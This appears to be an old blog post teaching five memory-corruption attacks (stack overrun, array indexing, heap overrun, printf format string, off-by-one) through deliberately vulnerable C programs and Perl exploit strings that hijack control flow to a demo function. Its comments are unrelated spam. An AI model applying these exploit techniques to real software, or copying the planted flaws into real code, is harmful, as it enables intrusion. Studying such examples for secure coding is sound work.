DCSIMG
Buffer Overflow / Overrun examples - Manu Cohen-Yashar's Blog

Manu Cohen-Yashar's Blog

Buffer Overflow / Overrun examples

Buffer Overflow / Overrun examples

Everybody knows the buffer overrun problem but many people asked me to see a real life example.

So I bring here 5 examples of different kinds of buffer overrun.

By the way these example do not work on vista as vista protects the stack.
So Vista is a secure environment …

Enjoy.

Manu

Classic Buffer Overrun Example.

The classic problem: a buffer is copied in to a bigger buffer and override the stack and with it the return address.

1.      Compile the code

2.      Run the code using a perl script.

The code:

/*

Example of how a stack-based buffer overrun can be used to execute arbitrary code.Its objective is to find an input string that executes the function bar.

*/

 

#include <stdio.h>

#include <string.h>

 

void foo(const char* input)

{

    char buf[10];

 

    //What? No extra arguments supplied to printf?

    //It's a cheap trick to view the stack 8-)

    //We'll see this trick again when we look at format strings.

    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

 

    //Pass the user input straight to secure code public enemy #1.

    strcpy(buf, input);

    printf("%s\n", buf);

 

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

}

 

void bar(void)

{

    printf("Augh! I've been hacked!\n");

}

 

int main(int argc, char* argv[])

{

    //Blatant cheating to make life easier on myself

    printf("Address of foo = %p\n", foo);

    printf("Address of bar = %p\n", bar);

    if (argc != 2)

       {

        printf("Please supply a string as an argument!\n");

        return -1;

      }

foo(argv[1]);

    return 0;

}

The perl script: (put it in a file BufferOverrun.pl)

$arg = "ABCDEFGHIJKLMNOP"."\x60\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);


 

Array Indexing.

Array is a pointer so using the index we can get anywhere… Again we will override the stack and hijack the server to run the function "bar".

The code:

#include <stdio.h>

#include <stdlib.h>

 

int* IntVector;

 

void bar(void)

{

    printf("Augh! I've been hacked!\n");

}

 

void InsertInt(unsigned long index, unsigned long value)

{

    //We're so sure that no one would ever pass in

    //a value more than 64 KB that we're not even going to

    //declare the function as taking unsigned shorts

    //or check for an index out of bounds - doh!

    printf("Writing memory at %p\n", &(IntVector[index]));

 

    IntVector[index] = value;

}

 

bool InitVector(int size)

{

    IntVector = (int*)malloc(sizeof(int)*size);

    printf("Address of IntVector is %p\n", IntVector);

 

    if(IntVector == NULL)

        return false;

    else

        return true;

}

 

int main(int argc, char* argv[])

{

    unsigned long index, value;

 

    if(argc != 3)

    {

        printf("Usage is %s [index] [value]\n");

        return -1;

    }

 

    printf("Address of bar is %p\n", bar);

 

    //Let's initialize our vector - 64 KB ought to be enough for

    //anyone <g>.

    if(!InitVector(0xffff))

    {

        printf("Cannot initialize vector!\n");

        return -1;

    }

 

    index = atol(argv[1]);

    value = atol(argv[2]);

 

    InsertInt(index, value);

    return 0;

}

The index calculation:
value = address of bar in decimal

index         -     value
1072693166      4198405

idex = (0x10012ff20 - base Of Array ) / 4


 

Heap Overrun: pointers manipulation

  1. We find where a pointer is located
  2. The value in that memory is the address of a certain buffer
  3. We change this value (By overrunning it) so this pointer will point to a location of the point in the stack where the return address for the bad function is kept
  4. We will pass this pointer as a parameter when a function pointer is needed.
  5. The code is waiting for a function pointer, so it will take our malicious value and put it in the PC.
  6. Game Over.

The code:

/*

  HeapOverrun.cpp

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

/*

  Very flawed class to demonstrate a problem

*/

 

class BadStringBuf

{

public:

    BadStringBuf(void)

    {

        m_buf = NULL;

    }

 

    ~BadStringBuf(void)

    {

        if(m_buf != NULL)

            free(m_buf);

    }

 

    void Init(char* buf)

    {

        //Really bad code

        m_buf = buf;

    }

 

    void SetString(const char* input)

    {

        //This is stupid.

        strcpy(m_buf, input);

    }

 

    const char* GetString(void)

    {

        return m_buf;

    }

 

private:

    char* m_buf;

};

 

//Declare a pointer to the BadStringBuf class to hold our  input.

BadStringBuf* g_pInput = NULL;

 

void bar(void)

{

    printf("Augh! I've been hacked!\n");

}

 

void BadFunc(const char* input1, const char* input2)

{

    //Someone told me that heap overruns weren't exploitable,

    //so we'll allocate our buffer on the heap.

 

    char* buf = NULL;

    char* buf2;

 

    buf2 = (char*)malloc(16);

    g_pInput = new BadStringBuf;

    buf = (char*)malloc(16);

    //Bad programmer - no error checking on allocations

 

    g_pInput->Init(buf2);

 

    //The worst that can happen is we'll crash, right???

    strcpy(buf, input1);

 

    g_pInput->SetString(input2);

 

    printf("input 1 = %s\ninput2 = %s\n", buf, g_pInput ->GetString());

 

    if(buf != NULL)

        free(buf);

 

}

 

int main(int argc, char* argv[])

{

    //Simulated argv strings

    char arg1[128];

 

    //This is the address of the bar function.

    //It looks backwards because Intel processors are little  endian.

    char arg2[4] = {0x0f, 0x10, 0x40, 0};   

    int offset = 0x40; 

                 

    //Using 0xfd is an evil trick to overcome heap corruption  checking.

    //The 0xfd value at the end of the buffer checks for corr uption.

    //No error checking here –  it is just an example of how to

    //construct an overflow string.

    memset(arg1, 0xfd, offset);

    arg1[offset]   = (char)0x94;

    arg1[offset+1] = (char)0xfe;

    arg1[offset+2] = (char)0x12;

    arg1[offset+3] = 0;

    arg1[offset+4] = 0;

 

    printf("Address of bar is %p\n", bar);

    BadFunc(arg1, arg2);

 

    if(g_pInput != NULL)

        delete g_pInput;

 

    return 0;

}

 


 

Printf Format string:

There is no way for printf to determine how many arguments were passed in.

The “%n” specifier, will write to a variable (address) the number of characters actually formatted by printf’ing a format string.

Using the power of the “%n” format specifier the attacker can write an arbitrary value to a memory location of their choosing
because if we do not supply it printf will take the address to write on, from the top of the stack!!!

We will attempt to overwrite a saved return address on the stack with a return address of our choosing for example 0x0012FF40

printf %.622496x%.622496x%n
Would cause 1244992 bytes to be formatted by the printf statement.

This number in hex is our address 0x0012FF40 and it would be written on the address written in the top of the stack (as no variable was supplied)

We need to write on the top of the stack the address of the return address which we want to override and then perform the above printf.

With address on the top of the stack and printf %.???x%n?? you can write any value you want to any address you wish.

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

 

typedef void (*ErrFunc)(unsigned long);

 

void GhastlyError(unsigned long err)

{

      printf("Unrecoverable error! - err = %d\n", err);

 

      //This is, in general, a bad practice.

      //Exits buried deep in the X Window libraries once cost

      //me over a week of debugging effort.

      //All application exits should occur in main, ideally in one place.

      exit(-1);

}

 

void RecoverableError(unsigned long err)

{

      printf("Something went wrong, but you can fix it - err = %d\n", err);

}

 

void PrintMessage(char* file, unsigned long err)

{

      ErrFunc fErrFunc;

      char buf[512];

 

      if(err == 5)

      {

            //access denied

            fErrFunc = GhastlyError;

      }

      else

      {

            fErrFunc = RecoverableError;

      }

 

      _snprintf(buf, sizeof(buf)-1, "Cannot find %s", file);

 

      //just to show you what is in the buffer

      printf("%s", buf);

      //just in case your compiler changes things on you

      printf("\nAddress of fErrFunc is %p\n", &fErrFunc);

      printf("\nAddress of GhastlyError is %p\n", &GhastlyError);

      printf("\nAddress of RecoverableError is %p\n\n\n", &RecoverableError);

 

 

 

      //Here's where the damage is done!

      //Don't do this in your code.

      fprintf(stdout, buf);

 

      printf("\nCalling ErrFunc %p\n", fErrFunc);

      fErrFunc(err);

 

}

 

void foo(void)

{

      printf("Augh! We've been hacked!\n");

}

 

int main(int argc, char* argv[])

{

      FILE* pFile;

 

      //a little cheating to make the example easy

      printf("Address of foo is %p\n", foo);

 

      //this will only open existing files

      pFile = fopen(argv[1], "r");

 

      if(pFile == NULL)

      {

            PrintMessage(argv[1], errno);

      }

      else

      {

            printf("Opened %s\n", argv[1]);

            fclose(pFile);

      }

     

      return 0;

}


 

The perl code:

# Comment out each $arg string, and uncomment the next to follow along
#
This is the first cut at an exploit string
#
The last %p will show up pointing at 0x67666500
# Translate this due to little-endian architecture, and we get 0x00656667

 $arg = "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC";

# Now comment out the above $arg, and use this one

#  $arg =
"......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC
";

# Now we're actually going to start writing memory - let's overwrite the ErrFunc pointer
#
 $arg =
".....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12
";

# Finally, uncomment this one to see the exploit really work

$ #arg =
"%.4066x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12
";

$cmd = "formatstring ".$arg;

system($cmd);


 

OffbyOne

The Error: We write “one char to much”, to a buffer : Buffer[sizeof(Buffer)]

The EBP will be overriden.
The EBP holds the SP before we enter to the function
When the function returns EBP -> SP
EBP LSB was overwritten which means we moved SP in a window of 256 bytes.
If we can write there another return address we Hijack the Server Game Over!!!

But…

To override the EBP the size of the buffer must divide by 4.

We need to control the area that the EBP points to.
If the EBP last byte was F0 and our buffer is less than 240byts we would not be able to directly write the value that eventually will be written to SP.

#include <stdio.h>

#include <string.h>

 

void foo(const char* in)

{

      char buf[128];

 

      strncpy(buf, in, sizeof(buf));

      buf[sizeof(buf)] = '\0'; //oops - off by one!

      printf("%s\n", buf);

}

 

void bar(const char* in)

{

      printf("Augh! I've been hacked!\n");

}

 

int main(int argc, char* argv[])

{

      if(argc != 2)

      {

            printf("Usage is %s [string]\n", argv[0]);

            return -1;

      }

      printf("Address of foo is %p, address of bar is %p\n", foo, bar);

      foo(argv[1]);

      return 0;

}

 

Now write a perl script:

$arg = "AAAAAAAAAAAA"."\x30\x10\x40";
$cmd = "OffByOne ".$arg;
system($cmd);

Run the perl script:

Perl temp.pl

Comments

Ayende @ Blog said:

Not My Business... most of the time

# January 13, 2007 10:17 PM

clone dvd download said:

Register SIP phone (DPH- 140S) to Asterisk Make Skype call from internet to SIP phone Make SIP phone call to Skype Register DVG- 6004S to Asterisk Make outgoing calls to PSTN via DVG- 6004S Receive incoming calls from PSTN via DVG- 6004S Make Skype call

# March 21, 2008 3:29 AM

dvd x copy said:

My husband’ s computer wouldn’ t boot: Blue Screen of Death. The error was in a file SR. SYS but I couldn’ t boot to get to it to copy a good one over the bad one. Enter Bart’ s Preinstalled Environment Bootable Windows CD/ DVD. I didn’ t have a bootable

# July 19, 2008 11:15 AM

dvd decoders downloads said:

I understand that there are special reasons why you may want to become a C programmer. If you want to become a video game developer and develop computation intensive rendering algorithms (click here to read about rendering on Wikipedia) or develop device

# July 19, 2008 1:07 PM

use dvd decrypter said:

The makers of Spybot have recently come into conflict over claims of incompatiblity with Norton Internet Security. ref/ ref Symantec is recommending the uninstallion of Spybot Search and Destory before installing Norton Internet Security. According to

# July 19, 2008 2:11 PM

decrypt dvd movies said:

The important thing to note here is the address bar in your browser- it still shows the link that your visitor clicked on. The program also offers a secure cookie option and the ability to promote the cloaking program itself if you so wish. On the face

# July 19, 2008 3:04 PM

record tv dvd said:

So anyway- I make a visit to the eye doc yesterday. I’ m due- it’ s been three years since my last vision check up. I do wear glasses for reading and computer work and lately, I’ ve been feeling the strain on my eyes like never before. I take regular

# July 19, 2008 4:20 PM

www.dvdburningmagic.com said:

Watch your favorite sports or movie channels on your PC for free. read more»

# July 20, 2008 12:08 AM

dvd shrink said:

So, in this respect, I think Colleges of Computing are a good thing, since computing seems vaguely equally significant as say, the arts. On the other hand, I’ m a little wary about the disciplinary barriers that get erected when things like Colleges or

# July 22, 2008 5:20 PM
Leave a Comment

(required) 

(required) 

(optional)

(required) 


Enter the numbers above: